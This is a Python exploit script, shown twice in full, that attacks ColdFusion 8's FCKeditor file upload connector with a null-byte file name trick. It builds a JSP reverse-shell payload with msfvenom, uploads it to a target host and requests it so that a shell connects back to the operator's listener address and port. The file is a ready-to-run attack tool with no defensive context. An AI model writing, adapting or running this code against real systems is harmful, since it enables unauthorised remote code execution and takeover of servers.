<gh_stars>0
import requests
import argparse
import secrets
import os


def exploit(rhost, lhost, lport):
    filename = secrets.token_urlsafe(16)
    jsp = filename + '.jsp'
    txt = filename + '.txt'
    data = generate_payload(rhost, lhost, lport, jsp)
    print(f'[?] Uploading payload {jsp}.')
    fileupload = '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/'
    rport = 8500
    main = f'http://{rhost}:{rport}'
    url = f'{main}{fileupload}{jsp}%00'
    res = requests.post(url, files={'newfile': (txt, data, 'application/x-java-archive')}, timeout=60)
    error_mes = f'[-] Something went wrong. Response: {res.text}'
    if res.status_code == requests.codes.ok:
        if res.text.find('window.parent.OnUploadCompleted'):
            print('[+] Payload uploaded. Executing...')
    else:
        print(error_mes)
        exit()
    getfile = '/userfiles/file/'
    url = f'{main}{getfile}{jsp}'
    res = requests.get(url)
    if res.status_code == requests.codes.ok:
        print(f'[+] Payload executed. Shell must be opened.')
    else:
        print(error_mes)
    exit()


def generate_payload(rhost, lhost, lport, jsp):
    print('[?] Generating payload...')
    os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} > {jsp}')
    data = open(jsp, 'rb').read()
    os.system(f'rm {jsp}')
    print('[+] Done.')
    return data


def get_argv():
    parser = argparse.ArgumentParser(prog='exploit-cf-auf.py',
                                   usage='python3 exploit-cf-auf.py -rhost <ip-address> -lhost <ip-address> -lport <ip-address>',
                                   description='Exploit to upload arbitrary file in Cold Fusion 8.',
                                   epilog='Created by whatsyourask.')
    parser.add_argument('-rhost', required=True, help='target IP address.')
    parser.add_argument('-lhost', required=True, help='your listener IP address.')
    parser.add_argument('-lport', required=True, help='your listener port number.')
    argv = vars(parser.parse_args())
    return argv
                                   

def main():
    argv = get_argv()
    rhost = argv['rhost']
    lhost = argv['lhost']
    lport = argv['lport']
    exploit(rhost, lhost, lport)


main()

import requests
import argparse
import secrets
import os


def exploit(rhost, lhost, lport):
    filename = secrets.token_urlsafe(16)
    jsp = filename + '.jsp'
    txt = filename + '.txt'
    data = generate_payload(rhost, lhost, lport, jsp)
    print(f'[?] Uploading payload {jsp}.')
    fileupload = '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/'
    rport = 8500
    main = f'http://{rhost}:{rport}'
    url = f'{main}{fileupload}{jsp}%00'
    res = requests.post(url, files={'newfile': (txt, data, 'application/x-java-archive')}, timeout=60)
    error_mes = f'[-] Something went wrong. Response: {res.text}'
    if res.status_code == requests.codes.ok:
        if res.text.find('window.parent.OnUploadCompleted'):
            print('[+] Payload uploaded. Executing...')
    else:
        print(error_mes)
        exit()
    getfile = '/userfiles/file/'
    url = f'{main}{getfile}{jsp}'
    res = requests.get(url)
    if res.status_code == requests.codes.ok:
        print(f'[+] Payload executed. Shell must be opened.')
    else:
        print(error_mes)
    exit()


def generate_payload(rhost, lhost, lport, jsp):
    print('[?] Generating payload...')
    os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} > {jsp}')
    data = open(jsp, 'rb').read()
    os.system(f'rm {jsp}')
    print('[+] Done.')
    return data


def get_argv():
    parser = argparse.ArgumentParser(prog='exploit-cf-auf.py',
                                   usage='python3 exploit-cf-auf.py -rhost <ip-address> -lhost <ip-address> -lport <ip-address>',
                                   description='Exploit to upload arbitrary file in Cold Fusion 8.',
                                   epilog='Created by whatsyourask.')
    parser.add_argument('-rhost', required=True, help='target IP address.')
    parser.add_argument('-lhost', required=True, help='your listener IP address.')
    parser.add_argument('-lport', required=True, help='your listener port number.')
    argv = vars(parser.parse_args())
    return argv
                                   

def main():
    argv = get_argv()
    rhost = argv['rhost']
    lhost = argv['lhost']
    lport = argv['lport']
    exploit(rhost, lhost, lport)


main()